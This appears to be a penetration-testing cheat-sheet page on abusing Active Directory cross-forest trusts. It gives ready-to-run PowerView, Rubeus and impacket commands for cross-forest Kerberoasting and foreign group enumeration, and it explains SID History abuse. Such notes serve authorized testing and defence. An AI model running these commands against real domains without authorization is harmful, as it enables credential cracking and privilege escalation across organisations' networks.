Cross-Forest Trusts Abuse
Cross-Forest Kerberoasting
Kerberos attacks such as Kerberoasting and ASREPRoasting can be performed across trusts, depending on the trust direction.
In a situation where you are positioned in a domain with either an inbound or bidirectional domain/forest trust, you can likely perform various attacks to gain a foothold.
Sometimes you cannot escalate privileges in your current domain, but instead can obtain a Kerberos ticket and crack a hash for an administrative user in another domain that has Domain/Enterprise Admin privileges in both domains.
Using windows:
# Enumerating Accounts for Associated SPNs Using Get-DomainUser
Get-DomainUser -SPN -Domain $TARGET_DOMAIN | select SamAccountName
# Enumerating target domain user
Get-DomainUser -Domain $TARGET_DOMAIN -Identity $USER |select samaccountname,memberof
# Performing a Kerberoasting Attacking with Rubeus Using /domain Flag
Rubeus.exe kerberoast /domain:$TARGET_DOMAIN /user:$USER /nowrapUsing linux:
# Enumerating Accounts for Associated SPNs
impacket-GetUserSPNs -target-domain $TARGET_DOMAIN $DOMAIN/$USER
# Performing Kerberoasting Attack
impacket-GetUserSPNs.py -request -target-domain $TARGET_DOMAIN $DOMAIN/$USER -outputfile cross-forest-tgsAdmin Password Re-Use & Group Membership Accross Domains
If we can take over Domain A's Administrator account, and Domain B has a highly privileged account with the same name, then it is worth checking for password reuse across the two forests.
Only Domain Local Groups allow security principals from outside its forest. We may see a Domain Admin or Enterprise Admin from Domain A as a member of the built-in Administrators group in Domain B in a bidirectional forest trust relationship.
We can enumerate groups with users that do not belong to the domain, also known as foreign group membership.
# Using powerview
Get-DomainForeignGroupMember -Domain $DOMAINIn linux, we can add Domain A in
/etc/resolv.confand run Bloodhound, the add Domain B and run Bloodhound again. Then upload both results in Bloodhound GUI and checkUsers with Foreign Domain Group Membership.
void@kali[/]$ cat /etc/resolv.conf
# Dynamic resolv.conf(5) file for glibc resolver(3) generated by resolvconf(8)
# DO NOT EDIT THIS FILE BY HAND -- YOUR CHANGES WILL BE OVERWRITTEN
# 127.0.0.53 is the systemd-resolved stub resolver.
# run "resolvectl status" to see details about the actual nameservers.
#nameserver 1.1.1.1
#nameserver 8.8.8.8
domain $DOMAIN
nameserver $DC_IPSID History Abuse
SID History can also be abused across a forest trust. If a user is migrated from one forest to another and SID Filtering is not enabled, it becomes possible to add a SID from the other forest, and this SID will be added to the user's token when authenticating across the trust. If the SID of an account with administrative privileges in Forest A is added to the SID history attribute of an account in Forest B, assuming they can authenticate across the forest, then this account will have administrative privileges when accessing resources in the partner forest.
Last updated